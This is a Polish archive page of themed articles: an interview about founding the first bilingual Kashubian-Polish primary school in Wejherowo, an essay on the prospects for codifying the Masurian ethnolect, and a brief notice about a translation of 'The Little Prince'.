Archiwum kategorii: Artikle tematiczno

„Naja szkòła”: dwujęzyczne szkoły to przyszłość dla naszego języka i tożsamości

Z założycielem pierwszej dwujęzycznej kaszubsko-polskiej szkoły podstawowej Arturem Jablonscjim rozmawiała Sara Mičkec, redaktorka miesięcznika Rozhlad. Wywiad był opublikowany po serbołużycku w numerze 05/2018.

SM: Od roku szkolnego 2017/2018 w Wejherowie na Kaszubach istnieje prywatna szkoła „Naja Szkòła“. Jest to pierwsza dwujęzyczna polsko-kaszubska szkoła. Co była motywacja jej założenia?

AJ: Na decyzję o założeniu dwujęzycznej polsko-kaszubskiej szkoły podstawowej miały wpływ dwie rzeczy. Po pierwsze, wraz z moją żoną Anną jesteśmy rodzicami 11-letniego chłopca, którego od urodzenia wychowujemy w dwujęzyczności. Érik nie odnajdywał się w szkole, do której chodził wcześniej, gdyż jego rówieśnicy nie rozumieli kontekstów kulturowych, w jakich wychowujemy naszego syna. Czuliśmy więc potrzebę stworzenia szkoły, w jakiej nasze dziecko odnajdzie klucz do własnego, kaszubskiego domu. Jednocześnie obserwowaliśmy już od dłuższego czasu, że model nauczania języka kaszubskiego w szkołach publicznych (samorządowych / państwowych) w niewystarczającym stopniu przyczynia się do rozwoju języka i tożsamości Kaszubów. Moim zdaniem szkoła publiczna kształci Polaków z bierną znajomością języka kaszubskiego, gdy tymczasem naszej społeczności potrzeba szkół, które będą kształciły świadomych Kaszubów w sensie etnicznym i równocześnie Polaków w sensie obywatelskim (państwowym). Ostatecznym bodźcem do podjęcia działań w kierunku uruchomienia własnej, dwujęzycznej placówki edukacyjnej była współpraca Stowarzyszenia Osób Narodowości Kaszubskiej „Kaszëbskô Jednota”, do którego oboje z żoną należymy, z baskijską szkołą o nazwie Baztan Ikastola w prowincji Navarra w Hiszpanii, która nawiązana została w 2015 roku.

Fot: Naja Szkòła

SM:
Istnieją inne kaszubskie szkoły?

AJ: W formule dwujęzycznej jest to pierwsza taka szkoła na Kaszubach. Jednak samo nauczanie w szkołach języka kaszubskiego rozpoczęło się w roku 1991 od wiejskiej szkoły podstawowej w Głodnicë (pol. Głodnicy) oraz w Liceum Ogólnokształcącego w miasteczku o nazwie Brusë (pol. Brusy). Potem dołączyły kolejne szkoły. Nie było na nie pieniędzy z budżetu państwa, ale utrzymywały je lokalne samorządy. Dopiero w 2005 r., gdy przyjęto w Polsce „Ustawę o mniejszościach narodowych i etnicznych oraz o języku regionalnym”, w której za jedyny język regionalny w Polsce uznano język kaszubski, nauczanie kaszubskiego zaczęło być dotowane przez państwo. Od tego czasu zaczęto nauczać języka kaszubskiego w bardzo wielu szkołach na Kaszubach, wprowadzono możliwość wyboru naszego języka na egzaminie maturalnym, a od 2015 r. istnieje kierunek Etnofilologia Kaszubska na Uniwersytecie Gdańskim.

SM: Jak jest język kaszubski włączony do edukacji szkolnej na Kaszubach?

AJ: Prawo w Polsce pozwala Kaszubom, a także innym mniejszościom, które wymienione są we wspomnianej już Ustawie o mniejszościach, na prowadzenie trzech typów szkół. Pierwszy typ zakłada, że język kaszubski jest nauczany dobrowolnie, jako przedmiot dodatkowy w wymiarze 3 godzin tygodniowo, który dyrektor szkoły musi wprowadzić, gdy minimum 7 rodziców złoży na piśmie taki wniosek. Drugi typ to szkoła dwujęzyczna, w której język kaszubski jest obowiązkowo nauczany na 5 godzinach tygodniowo, symetrycznie do języka polskiego, a ponadto w języku kaszubskim prowadzone są jeszcze 4 inne przedmioty w szkole. Trzeci typ to szkoły, w których nauczanie odbywa się tylko po kaszubsku (w języku mniejszości), a jedynie język polski i historia polski nauczane są w języku polskim. Własnej historii Kaszubi mogą uczyć przez 30 godzin na przestrzeni całej edukacji w szkole podstawowej i kolejnych 30 godzin w całej szkole średniej. W praktyce funkcjonował do tej pory tylko pierwszy typ szkoły.

SM: Jak wygląda „dwujęzyczność” szkoły? Kiedy jest używany język polski, kiedy kaszubski? Czy dzieci, którzy uczęszczają do szkoły, nauczyły się języka kaszubskiego jako języka ojczystego w domu czy mogą nauczyć się go w szkole?

AJ: Odpowiadając na te wszystkie pytania, należy zacząć od tego, że kondycja języka kaszubskiego jest bardzo zła. Władze Polski Ludowej zrobiły wiele, by zniszczyć język i kulturę Kaszubów. Dzieci kaszubskie były w polskich szkołach bite i szykanowane za używanie swojego ojczystego języka. Z tego powodu w latach 70. XX wieku został przerwany językowy przekaz pokoleniowy w rodzinach kaszubskich. Mając na uwadze dobro i zdrowie psychiczne własnych dzieci, rodzice przestali mówić do nich po kaszubsku. Zdążyły wyrosnąć już dwa pokolenia Kaszubów, które z językiem kaszubskim zetknęły się w domu w znikomym stopniu. Nie mieli go także w szkole. Również dzieci, które do nas przychodzą, w większości nie znają kaszubskiego. W większości pochodzą z rodzin kaszubskich, choć kilkoro uczniów nie ma nawet kaszubskich korzeni. Nauczanie dwujęzyczne realizowane jest w zakresie obowiązkowych zajęć edukacyjnych, ale z powodów opisanych wcześniej, to nauczyciele określają zakres treści edukacji wczesnoszkolnej przekazywanych w języku kaszubskim. Stosują także zasadę posługiwania się językiem kaszubskim w codziennych sytuacjach, podczas przerw, rozmów swobodnych z dziećmi, zabaw, itp. W klasach IV-VIII Naja Szkòła zapewnia prowadzenie 4 zajęć metodą dwujęzyczności spośród takich przedmiotów jak: przyroda, biologia, geografia, chemia, fizyka, matematyka, historia, informatyka, plastyka, technika, wychowanie fizyczne.

SM: Czy wszyscy pracownicy szkoły mówią po kaszubsku? Jest jakieś szkolne polecenie, który ma być język potoczny/powszechnie używany w szkole?

AJ: Wszyscy pracownicy szkoły znają język kaszubski, ale nie wszyscy mówią po kaszubsku. Posługuje się nim na co dzień około 1/3 z nich. Nie byłoby więc prawdziwe twierdzenie, że kaszubski jest w chwili obecnej powszechnie używany w szkole. W około 70% sytuacji przeważa język polski, a kaszubski używany jest w 30%. Naszym celem jest osiągnięcie symetryczności, ale na to potrzeba jeszcze kilku lat wytężonej pracy zarówno z dziećmi, jak też nauczycielami.

SM: Czy historia i kultura Kaszub na zajęciach są traktowane inaczej niż w szkołach państwowych?

AJ: Tak. Staramy się na każdych zajęciach dawać uczniom kontekst kaszubski. Nawiązujemy do naszej kultury, tradycji, historii i zalecamy nauczycielom, by był to punkt wyjścia do niemal każdych zajęć. Oprócz tego, że „Naja szkoła” zajęcia prowadzi po kaszubsku, rzucają się w oczy różne inne szczegóły, tak jak: edukacja cyfrowo-medialna, nacisk na indywidualne ocenianie kształtujące, brak prac domowych. Począwszy od klasy pierwszej, uczniowie objęci są poszerzonym zakresem nauki języka kaszubskiego oraz języka angielskiego. Szkoła oferuje także dla klasy czwartej obowiązkowe koło z języka niemieckiego, a w przyszłości zamierza wprowadzić także język niemiecki jako przedmiot obowiązkowy. Podczas wszystkich zajęć uczniowie wykorzystują komputery Chromebook. Do dyspozycji mają szkolną sieć komputerową do wyszukiwania potrzebnych informacji i zasobów edukacyjnych. Pracują w środowisku wirtualnym – platformie edukacyjnej Google Classroom oraz chmurze GSuite. Kładziemy też nacisk na naukę praktycznych kompetencji przydatnych w codziennych kontaktach z mediami, gdyż taki jest współczesny świat. Staramy się realizować to we wszystkich klasach między innymi w ramach edukacji polonistycznej, społecznej, historycznej, plastycznej i zajęć komputerowych. Chcemy, by wychowankowie Naji Szkòłë posiedli kompetencje XXI wieku, takie jak kreatywność, myślenie krytyczne, współpraca w grupie, przywództwo, zarządzanie informacją, rozumienie mediów, mądre korzystanie z technologii.

SM: Czy uczniowie są podzieleni na klasy? Ile uczniów jest w jednej klasie? Jak wygląda ocenianie? Czy są oceny od 1 do 6?

AJ: Dzieci uczą się w maksymalnie 15-osobowych klasach, ale staramy się dla każdego z uczniów realizować indywidualny program nauczania. Łączymy dwa systemy oceniania, ten tradycyjny z ocenami od 1 do 6, ale przede wszystkim ważna jest dla nas informacja zwrotna, która skuteczniej niż stopnie motywuje ucznia do nauki, nauczycielowi zaś pomaga ustalić, na czym należy się skupić podczas kolejnych lekcji. Nauczyciel traktuje uczniów indywidualnie, obserwując, jak zdobywają wiedzę i dając konkretne wskazówki do dalszej pracy. Zawsze wyjaśnia, jakie są cele uczenia się i kryteria sukcesu. Stara się angażować uczniów w ich proces edukacyjny. Uczniowie wymieniają się wiedzą, ucząc się od siebie nawzajem.

Fot: Naja Szkòła

SM: Jak Państwo znaleźli nauczycieli? Czy mają oni specjalne kształcenie?

AJ: Kilkoro nauczycieli, którzy zaczęli z nami ten projekt, było członkami stowarzyszenia Kaszëbskô Jednota. Pozostali przeszli procedurę naboru. Jednym z kryteriów była znajomość języka kaszubskiego poświadczona studiami bądź specjalistycznym egzaminem. Uprawnienia do nauczania kaszubskiego można w Polsce zdobyć na dwa sposoby: albo ukończy się podyplomowe studia trwające 1,5 roku, albo zda się egzamin przed specjalną komisją.

SM: Jak wielka jest szkoła obecnie? Ile ma klas, ilu uczniów i nauczycieli?

AJ: W szkole uczy się obecnie 32 uczniów w klasach 0, 1, 3 i 4. Docelowo szkoła będzie kształcić w oddziałach od 0 do 8. W tej chwili zatrudniamy 3 nauczycieli na etacie i 10 na umowie o zlecenie, czyli na konkretne godziny wynikające z liczby przedmiotów wymaganych w podstawie programowej Ministerstwa Edukacji.

SM: Ile ma szkoła roczników/klas i gdzie się uczniowie po szkole podstawowej dalej uczą?

AJ: Na to pytanie mogę odpowiedzieć za trzy lata. Jednak niewykluczone, że stworzymy naszym uczniom możliwość kształcenia się w kaszubskim liceum. Myślimy o tym.

SM: Pan jest właścicielem szkoły i angażował się Pan w jej powstanie. Czym się pan zajmuje zawodowo i skąd Pan czerpał inspiracje?

AJ: Jestem Kaszubą. Mój ojciec był Polakiem, który osiadł na Pomorzu w latach 60. XX wieku i przyjął w dużej mierze kulturę mojej kaszubskiej matki. Od niej poznałem język kaszubski. Jako nastolatek zacząłem interesować się historią i literaturą kaszubską. Na studiach historii w Gdańsku, które rozpocząłem w 1989, który był rokiem demokratycznych przemian w Polsce, poznałem ludzi podobnie jak ja szukających swoich korzeni. Razem założyliśmy w 1990 r. studenckie pismo „Tatczëzna” (pol. Ojczyzna). To był też czas, gdy otworzyła się możliwość realizacji kaszubskiego programu w gdańskim oddziale telewizji polskiej i w Polskim Radiu Gdańsk. Włączyłem się w te projekty. Zostałem dziennikarzem. Potem, w 1999 r. postanowiłem spróbować swoich sił w lokalnej polityce. Przez 10 lat byłem Starostą w Pucku. W chwilach wolnych nadal pasjonowały mnie media. W 2002 roku zostałem na krótko społecznym redaktorem naczelnym miesięcznika „Pomerania”, a w 2004 roku założyłem Radio Kaszëbë, którym kieruję do dziś. Od 2010 do 2012 roku kierowałem także telewizją satelitarną CSBTV (CassubiaTV), którą współtworzyłem wraz z 2 wspólnikami. Przez 6 lat byłem prezesem Zrzeszenia Kaszubsko-Pomorskiego, a w 2011 roku współzałożycielem Stowarzyszenia Osób Narodowości Kaszubskiej „Kaszëbskô Jednota”, w którym jestem wiceprezesem. Skąd miałem inspirację do założenia szkoły? Tak jak o tym wspominałem: doświadczenia rodzica, znajomość sytuacji innych mniejszości narodowych w Europie, troska o własny język i kulturę.

Artur Jablonscji

SM: Kto oprócz pana angażował się w założenie szkoły?

AJ: W założenie szkoły angażowała się przede wszystkim moja żona Anna oraz koledzy z Kaszëbsczi Jednotë, a przede wszystkim prezes tego stowarzyszenia Karól Róda. Wspierał nas Andrzej Gredecki, doświadczony pedagog, długoletni dyrektor szkół publicznych w Wejherowie. Olbrzymią rolę odegrała także w tym projekcie Baskijka Maialen Sobrino Lopez, którą poznałem w 2014 r. i która zaangażowała mnie i stowarzyszenie Kaszëbskô Jednota w projekt Txikian Handi (Małe jest wielkie), dzięki czemu dowiedziałem się jak funkcjonują baskijskie Ikastole. Po kilkugodzinnym pobycie wśród baskijskich dzieci, mój syn Érik zapytał: – Dlaczego my nie mamy takiej szkoły? To wystarczyło, by zacząć działać. W marcu 2017 r. wynająłem obiekt w Wejherowie, to był dawniej sklep meblowy, zaadaptowałem go na szkołę, która została otwarta 2 września 2017 r. Ważne było dla mnie wsparcie kilku znajomych rodziców, kaszubskich aktywistów, takich jak Dariusz Majkowski, ówczesny redaktor naczelny miesięcznika „Pomerania”.

SM: Jak inicjatorzy werbowali uczniów?

AJ: Z tym związany jest wybór miejsca na pierwszą dwujęzyczną szkołę. Wejherowo jest 50 tysięcznym miastem, o dużych tradycjach kaszubskich, które otaczają inne duże miejscowości. W sumie to taka kaszubska „aglomeracja” licząca około 100 tysięcy mieszkańców. Wyszliśmy do nich z plakatami, ulotkami, reklamą w Radiu Kaszëbë. W niedziele organizowaliśmy akcje informacyjne pod kościołami. Trwało to na przestrzeni dwóch miesięcy – lipca i sierpnia 2017 r. Efekt był taki, że we wrześniu rozpoczęło u nas naukę 22 uczniów, a w ciągu miesiąca dołączyło jeszcze 10.

SM: Jak szkoła jest finansowana?

AJ: W okresie od początku września do końca grudnia 2017 r. finansowałem szkołę z własnych pieniędzy pochodzących głównie z działalności prowadzonej w ramach Radia Kaszëbë. Od stycznia 2018 r. szkoła otrzymuje dotacje z budżetu państwa polskiego poprzez Urząd Miasta Wejherowa. Jest to równowartość 300 euro na ucznia miesięcznie.

SM: Czy czesne mają wpływ na to, kto swoje dzieci posyła do szkoły?

AJ: W roku szkolnym 2017/2018 w Naji Szkòli nie płaci się czesnego. Chciałem w ten sposób zachęcić rodziców do tego nowego projektu. Od następnego roku szkolnego będzie wprowadzone czesne w wysokości 400 zł od dziecka. To jest konkurencyjna cena w stosunku do innych szkół prywatnych w okolicy.

SM: Jak brzmi krytyka, którą inicjatorzy szkoły mogą słyszeć i jak ją traktują?

AJ: Na ten moment nie ma poważnej krytyki naszego projektu. Wyczuwamy natomiast postawę wyczekiwania u wielu osób, które nas obserwują. Żeby nie popełniać błędów współpracujemy z doświadczoną pedagog Adelą Kożyczkowską z Instytutu Pedagogiki Uniwersytetu Gdańskiego oraz Renatą Mistarz, ekspertką z Centrum Edukacji Nauczycieli w Gdańsku. Każdą poważną krytykę, jeśli się pojawi, potraktujemy bardzo serio i postaramy się natychmiast na nią reagować pozytywnymi zmianami w naszym projekcie, ale przede wszystkim będziemy się trzymać założenia dwujęzyczności, czyli również symetryczności między kulturą kaszubską i polską.

SM: Patrząc na doświadczenia podczas przygotowań i założenia szkoły: czy zrobiłby Pan coś inaczej z dzisiejszego punktu widzenia?

AJ: Nie żałuję niczego, co zainwestowałem w ten projekt, bowiem wierzę, że jest to doświadczenie, które może wiele dobrego przynieść naszej kaszubskiej kulturze.

SM: Czego Pan by sobie życzył względem przyszłości szkoły i edukacji na Kaszubach?

AJ: Chciałbym, żeby z mojego doświadczenia czerpali inni: osoby prywatne, stowarzyszenia, kaszubskie samorządy. Zależy mi na stworzeniu możliwości wyboru pomiędzy szkołami pierwszego typu z językiem kaszubskim jako przedmiotem dodatkowym, a szkołami dwujęzycznymi polsko-kaszubskimi. Marzę o tym, by nauczanie języka kaszubskiego oraz własnej historii i kultury we wszystkich szkołach na Kaszubach było obowiązkowe. Uważam także, że odpowiedzialnym za podstawę programową w szkołach na Kaszubach należy uczynić regionalny samorząd województwa, a nie państwowe Ministerstwo Edukacji jak jest to w tej chwili. Przy takim rozwiązaniu na przykład każda placówka oświatowa w województwie pomorskim nauczałaby treści związanych z danym regionem w 40%, a w 60% program taki musiałby spełniać wymogi państwowe. Ponadto samorządy wszystkich szczebli oraz organizacje pozarządowe powinny już teraz zacząć wspierać otwieranie szkół imersyjnych, w których edukacja kaszubska byłaby prowadzona poprzez „zanurzenie” w języku i kulturze, czyli takie, w których od pierwszego do ostatniego dzwonka język kaszubski nie umilknie na żadnej lekcji, ani na przerwie.

Etnolekt mazurski – czy kodyfikacja jest wykonalna? Burza (póki co jednego) mózgu.

Czy kodyfikacja mowy mazurskiej jest mission impossible? Czy jest swego rodzaju węzłem gordyjskim, ale z tą różnicą, że jego radykalne przecięcie rozminie się z celem? Często zadaję sobie to pytanie i nie mogę znaleźć jednoznacznej odpowiedzi. Mimo to nieustannie próbuję analizować zastane źródła, by cokolwiek z mowy Mazurów mogło przetrwać dla potomnych.

Kodyfikacją etnolektów mniejszościowych, lokalnych języków, często zagrożonych wymarciem, zajmowano się już praktycznie na wszystkich kontynentach świata. Od czasu do czasu słyszymy o spektakularnych próbach rewitalizacji rdzennych amerykańskich czy australijskich języków. Znany w Polsce jest też przykład niewielkiego języka wilamowskiego (proces rewitalizacji rozpoczęty przez Tymka Króla) – który decyzją parlamentu mógłby (choć pewnie nie będzie) zostać wpisany, obok języka kaszubskiego, do krótkiej listy języków regionalnych. Świetnie i skutecznie kodyfikację przeszedł ”dialekt literacki” – kurpiowski (nota bene ogromny szacunek za tak dyplomatyczne sformułowanie).

Sytuacja mazurskiego jest jednak na tyle rzadka, że zasługuje w mojej opinii na oddzielną analizę, której zaczynem może być niniejszy artykuł. Dodajmy do siebie wszystkie składowe, a zobaczymy, co można z tym zrobić, o ile cokolwiek można. Przed rozpoczęciem analizy pragnę także dodać, że temat został mi niejako podrzucony poprzez artykuł dr hab. Henryka Jaroszewicza o możliwości i konieczności kodyfikacji etnolektu śląskiego.

Szczerze mówiąc, nieco zazdroszczę innym grupom językowym, które często spełniają o wiele więcej warunków udanej kodyfikacji. Te czynniki, idąc tropem dr Jaroszewicza, ale też dorzucając swoje 3 grosze, można wymienić następująco:

  1. Aktualna liczba użytkowników danej mowy – nie ukrywajmy, czasami ilość bywa ważniejsza niż jakość. Rewitalizacja języka za sprawą jej kodyfikacji ma o wiele większe szanse na sukces, jeśli zwyczajnie jest do kogo z takim projektem się udać. Można nie tylko zbadać stan danej mowy w momencie kodyfikacji, ale też do tejże kodyfikacji użytkowników przekonywać. Ilu ludzi mówi po mazursku? Kilkadziesiąt osób na Syberii, kolejne kilkadziesiąt w Polsce, potencjalnie kilkadziesiąt-kilkaset w Niemczech. Stan tej mazurszczyzny nie zawsze jednak odzwierciedla dobry stan mazurskiego sprzed 50-100 lat.
  2. Potencjalna liczba użytkowników (baza ludnościowa) – liczba osób, które co prawda danej mowy nie znają, ale byliby w stanie identyfikować się z ludem, który taką mową niegdyś się posługiwał. W przypadku Mazur, w zależności od ostrości podejścia – od 2 do 15 tysięcy osób w Polsce, natomiast nie bardzo wierzę w możliwość masowego przywrócenia mazurskiego poza obszarem regionu – głównie w związku z naturalnymi procesami asymilacyjnymi i wielopokoleniowym oderwaniem od ojczystej ziemi. Potomków Mazurów w Niemczech jest szacunkowo około pół miliona, dlatego też mimo wszystko nie wolno zignorować tej bazy, nawet gdyby rewitalizacja miała przekonać tam znikomy promil, w sytuacji mazurskiego byłby to niemały progres. Trudnością wiodącą są niestety różnice językowe – rodzimy użytkownik polszczyzny pochodzenia mazurskiego o wiele prędzej nauczy się mowy przodków niż rodzimy użytkownik niemieckiego – głównie dlatego, że mazurski w swej strukturze jest słowiański, mimo rozlicznych wpływów germańskich, nie tylko leksykalnych, ale też i gramatycznych.
  3. Wzajemna spójność geograficzna i językowa gwar kodyfikowanego obszaru. W mojej opinii jeden z najważniejszych czynników, nawet ważniejszy od dwóch powyższych. Im bardziej wewnętrznie zróżnicowana jest mowa, tym więcej rodzi się wątpliwości związanych z faworyzowaniem danej gwary jako podstawy literackiej czy też na temat stopnia włączania gwar ościennych, ich słownictwa czy cech gramatycznych. Jednocześnie rodzi się pytanie o to, jak bardzo liberalne powinno być podejście – ile synonimów, ile opcjonalnych, ale akceptowanych zachowań użytkowników. W przypadku Mazur sytuacja zmusza do liberalnego podejścia. Po pierwsze użytkowników czy chętnych jest niewielu. Po drugie, ich mowy są często niezbyt spójne – dość powiedzieć, że ostródzki mazurski de facto jest mową wywodzącą się z wielkopolskiego obszaru dialektalnego gwary chełmińskiej i nie ma mazurzenia (wymowy sz, cz, dż, ż jak s, c, dz, z), zachodniomazurski wywodzi się od kolonistów mazowieckich z okolic Ciechanowa, Mławy czy Przasnysza, środkowomazurski to przeniesiona mowa kurpiowska, a we wschodniomazurskim da się wyczuć wpływy gwar suwalszczyzny. Innym realizacjom podlegają podstawowe głoski – przykładowo ”á” w ostródzkim wymawiano jako ”o”, środkowe Mazury jako ”å”, zachodnie i wschodnie zaś jako ”a”. Labializacje (wymowa o i u jako ło, łu) najczęściej pojawiały się w paśmie od Mrągowa i Giżycka po Pisz i Białą Piską, prejotacje (ji, jé zamiast i na początku wyrazów) głównie zaś w okolicy Mrągowa i Giżycka. Moje decyzje w propozycji kodyfikacji bywają więc dla niektórych niejasne – włączyłem tu labializacje i prejotacje, mimo, że znaczna część terenu mówiła inaczej.  Trzeba jednak zwrócić uwagę, że to właśnie tu obecnie żyje potencjalnie najwięcej potomków Mazurów – co widać po odsetku ludności ewangelickiej, tylko w tamtych okolicach i dodatkowo w pow. kętrzyńskim wahającej się około zawrotnego odsetka 1-2% całości populacji (wszędzie indziej jest jeszcze gorzej). Nie chcę jednak, by Mazurzy z innych stron czuli się wykluczeni z tego procesu, dlatego też bardzo liberalnie przyjmuję słownictwo ze wszystkich obszarów mazurskich (nawet słownictwo ostródzkie), tylko dostosowując je do środkowomazurskiej ortografii (przeznaczonej dla całego regionu). Akceptuję też liczne opcjonalności chociażby we fleksji – równie przyjaźnie patrzę na zachodniomazurskie -óm, jak na środkowo-wschodnie -ám (kónióm vs kóniám), czy na środkowe -rziá, -dzio oraz typowe dla reszty Mazur -rijá, -dijo (artilerziá vs. artilerijá, radzio vs radijo). Ten ogromny liberalizm na granicy językowej anarchii zdaje się tu jedyną możliwością uszanowania mowy wszystkich Mazurów, którym wszak tak bardzo historia poskąpiła szacunku.
    Jednocześnie zawsze podkreślam, że pierwszeństwo ma mowa domowa – jeśli ktoś pamięta inaczej z domu, ma prawo mówić po swojemu. Kodyfikacja tutaj staje się bardziej narzędziem dla tych, którzy chcieliby poznać mazurski, a nie mają takiej możliwości w swoim środowisku. Zatem skodyfikowany mazurski będzie siłą rzeczy nieco ”usztuczniony”, „zmiksowany”, co jest chyba nie do uniknięcia niezależnie od przyjętej strategii. Staram się jednakowoż unikać tworzenia neologizmów, a jeśli już jest to konieczne z braku zastanych słów w źródłach, próbuję naśladować te same tendencje, jakie miały miejsce w analogicznych przypadkach, nierzadko konsultując to z samymi Mazurami.

    Źródło: dialektologia.uw.edu.pl – wpływy zewnętrzne na dialekty Warmii i Mazur
  4. Rozproszenie ludności. Nie zawsze mały obszar ”naturalnego”, ”historycznego” występowania danego etnolektu to coś złego. Czasami miewa to duże znaczenie organizacyjne. W niewielkich Wilamowicach sprawy idą o wiele lepiej niż chociażby na Mazurach między innymi właśnie dlatego, że cała uwaga skondensowana jest na obszarze kilkadziesiąt razy mniejszym niż na Mazurach. U nas popularyzacja mazurskości powinna się odbywać na obszarze 12 mazurskich powiatów, a nawet 13, jeśli doliczać gminę Olsztynek, z niewiadomych powodów dołączoną do powiatu warmińskiego, olsztyńskiego.
  5. Stosunek do wpływów zewnętrznych i podobieństw do mowy dominującej. Na ile wpływały na daną mowę literackie odmiany ”dużych” języków czy też gwary ościenne? Jaki stosunek do tych wpływów mają użytkownicy? Czy należy ulec tej czy innej współczesnej preferencji użytkowników, niejako wbrew frekwencji występowania danych słów w źródłach? O tym pisywał też nieraz Grzegorz Kulik, tworzący korpus mowy śląskiej. Z tego korpusu często wyłania się używanie słownictwa łudząco podobnego do literackiej polszczyzny. Słowa te jednak z czasem zostały zastępowane przez rzadkie synonimy bądź germanizmy, co miało charakter manifestacji odrębności. Niniejszym ujawnia się między innymi tendencja do frekwencyjnie częstszego używania germanizmów w mazurskim czy śląskim. Mają one być dowodem na odrębność danej mowy od dominującej, literackiej polszczyzny (choć nie uważam, że trzeba cokolwiek udowadniać przez siłę). Nie zawsze jest to proces świadomy, to należy podkreślić. Po prostu germanizmy czy rzadkie lokalizmy są czymś wyraźnie innym, a ruchy regionalne podświadomie nastawione są na podkreślanie ”swojskości”. Nie musi mieć to nawet wiele wspólnego z sympatiami politycznymi – słówka te stały się tak naturalną częścią mowy, że ich pochodzenie bywa czasami trudno identyfikowalne dla niektórych użytkowników. Tak samo, jak wielu Polaków nie zdaje sobie sprawy, że używają germanizmów, mówiąc ”ratusz”, ”blacha”, ”farba” etc. W przypadku mazurskiego różne obszary cechowały różne natężenia wpływów niemieckich – największe właśnie w okolicach Mrągowa i Giżycka, najmniejsze zaś, zdaje się, w okolicy Działdowa i Nidzicy. Sam zresztą, na początku swej mazurskiej drogi, używając działdowskich słówek i działdowskiej, najbliższej polszczyźnie literackiej odmiany mazurskiego bywałem oskarżany o celowe, ideologiczne pomijanie germanizmów! Niektórzy zarzucali mi mówienie po ”mazowiecku”, „polonizowanie Mazurów”, podczas gdy źródła mazurskie z okolic Działdowa odzwierciedlają zbliżony stopień germanizmów, jaki w sposób naturalny używałem. Dopiero sztuczne dodanie liczniejszych germanizmów poskutkowało głosami akceptacji, bo taka mowa była bliższa temu, co pamiętają od dziadków czy rodziców. Dziś sam wręcz zauważam, że zdarza mi się przegiąć w drugą stronę…
    Źródło: dialektologia.uw.edu.pl – zauważ wyjęcie Działdowszczyzny z obszaru badań – powojenne badania nie obejmowały obszaru Działdowa i okolic, gdyż te zostały włączone do Polski już po I WŚ
  6. Emancypacja językowa potencjalnych użytkowników, wykształcenie i stopień urbanizacji. Niestety – wiejskie ośrodki będą sobie radziły o wiele słabiej. Ze względu na ważniejsze problemy lokalnych społeczności – takich jak bieda, wykluczenie, uzależnienia. Mniejszy udział miast to także mniejszy potencjał edukacyjny – brak ośrodków badawczych, brak warstwy inteligenckiej nastawionej na swoją kulturę i mniej lub bardziej chciane przypisanie danej kultury do ”tego, co było, do skansenu” czy do negatywnie rozumianej „wiejskości”. To widać jak na dłoni na Śląsku – miejskość kultury skutkuje takimi pomysłami jak zespół Oberschlesien, jak wydanie tłumaczeń literatury światowej czy Biblii. Wciąż niewykorzystany zostaje natomiast potencjał katowickiej czy opolskiej uczelni – ale tu chociaż jest z czego wybierać. Mazurzy, jeśli chcą się kształcić, muszą jechać co najmniej do Olsztyna, a większość i tak wybiera dalsze ośrodki jak Gdańsk, Toruń, Warszawa. Fakt, że olsztyński UWM nie spełnia praktycznie niemal żadnej roli w badaniu Mazurów i mowy mazurskiej, a ciężar ten spoczywa na dzielnie walczącej o przetrwanie pracowni dr Sobolewskiej w Warszawie, pozostaje godzien pożałowania. Trudno też powiedzieć, na ile ujednolicona ortografia przyjmie się wśród Mazurów – trudności rodzi użycie niestandardowych liter (zredukowanej i tak, choć w mojej ocenie koniecznych do wyrażania zjawisk fonetycznych), konieczność zainstalowania oddzielnej klawiatury polsko-mazurskiej, ale też zwyczajny lęk przed popełnianiem błędów (choć staram się ich nie wytykać) czy trudności w zmianie przyzwyczajeń (skoro można coś zapisać mniej-więcej polskim alfabetem, to po co to zmieniać). Do problemów natury emancypacyjnej wciąż zalicza się stawianie Mazurów wobec wyboru – Niemiec czy Polak, nie dając im jednocześnie tzw. trzeciej drogi, a więc pozostanie po prostu przy mazurskości. Na problem ten zwracał uwagę już działacz mazurski sprzed niemal 100 lat – dr Kurt Obitz, który za swoją promazurską postawę wylądował w obozie koncetracyjnym, oskarżony o szerzenie ”Polengefahr”. Podobny los spotykał innych działaczy mazurskich – za rządów niemieckich oskarżani o szerzenie polskości, musieli się ukrywać przed wywózką do obozów, za rządów polskich uznawani za Niemców i poddawani szykanom. Brak masowego wsparcia ze strony nieinteligenckich Mazurów, zajętych raczej radzeniem sobie z biedą i wykluczeniem, nie poprawiał sytuacji działaczy i często pozostawiał ich w osamotnieniu. Sami Mazurzy muszą się też nauczyć myśleć wysoko o swojej mowie. Zrozumieć, że jest tak samo dobra i ważna, jak każda inna, ale miała mniej szczęścia w historii.
  7. Wsparcie organów samorządowych i państwowych – tutaj niestety wciąż jest to kropla w morzu potrzeb. Temat mazurski został skutecznie zepchnięty na margines świadomości. Cóż począć, gdy nawet osoby tworzące książki o Mazurach zagadnięci o ”kwestię mazurską” odpowiadają: ”ale jaką kwestię mazurską? Żadnej kwestii nie ma”. Nie wiem, na ile te osoby spotykają tych samych Mazurów, co ja, bo w mojej opinii w duchu dziesiątki, jeśli nie setki Mazurów czekają na jakąś symboliczną formę rozliczenia z przeszłością i zmiany teraźniejszości, zawalczenia o to dziedzictwo. W takiej atmosferze, gdy resztki Mazurów cicho szepczą o swoich prawach, a reszta uznaje ich za lud wymarły, trudno jednak oczekiwać wsparcia od laików – samorządowców, którzy w większości są osobami zajmującymi się zarządzaniem i gospodarowaniem, a nie tworzeniem świadomości kulturowej na swoim terenie.

Te wszystkie czynniki pokazują, przed jak karkołomnym, niemal niemożliwym zadaniem stoi społeczność mazurska. Jeśli chce przetrwać – musi przez to przebrnąć. Bez kodyfikacji (albo przynajmniej tej dotychczasowej, bardzo anarchistycznej semikodyfikacji) nie będzie słowników, podręczników, a żaden polityk (lokalny czy nie – nieważne, to on rozporządza środkami) nie spojrzy przychylnym okiem, uzna taką propozycję za niepoważną. To też ogromna kwestia prestiżu – mowa bez własnego zapisu i normy, choćby liberalnej, pozostaje potoczna, ”prosta”, a więc w mniemaniu wielu – niepoważna. Przecież to stąd właśnie bierze się głupia tendencja do używania mów lokalnych wyłącznie do śmiesznych piosenek czy niewybrednych żartów. Czy kodyfikacja w takich warunkach jest możliwa? Nawet jeśli nie, trzeba spróbować. Chciałbym zaprosić wszystkich do dyskusji nad tą sprawą wielkiej wagi i rangi.

Efekty tych prób można zobaczyć na stronie fb Mazurskie Słówko na dziś, grupie ”Mazurská Gádkä” oraz stronie mazurska.eu.

„Môłi princ” (Le Petit Prince) rozdzéle/rozdziały 1-8

Wesprzyj wydanie książkowe „Môłéwo princa” i zdobądź swój własny egzemplarz TUTAJ.

Support the publication of „Môłi princ” and get your own printed copy HERE.


Leonë Werthovi


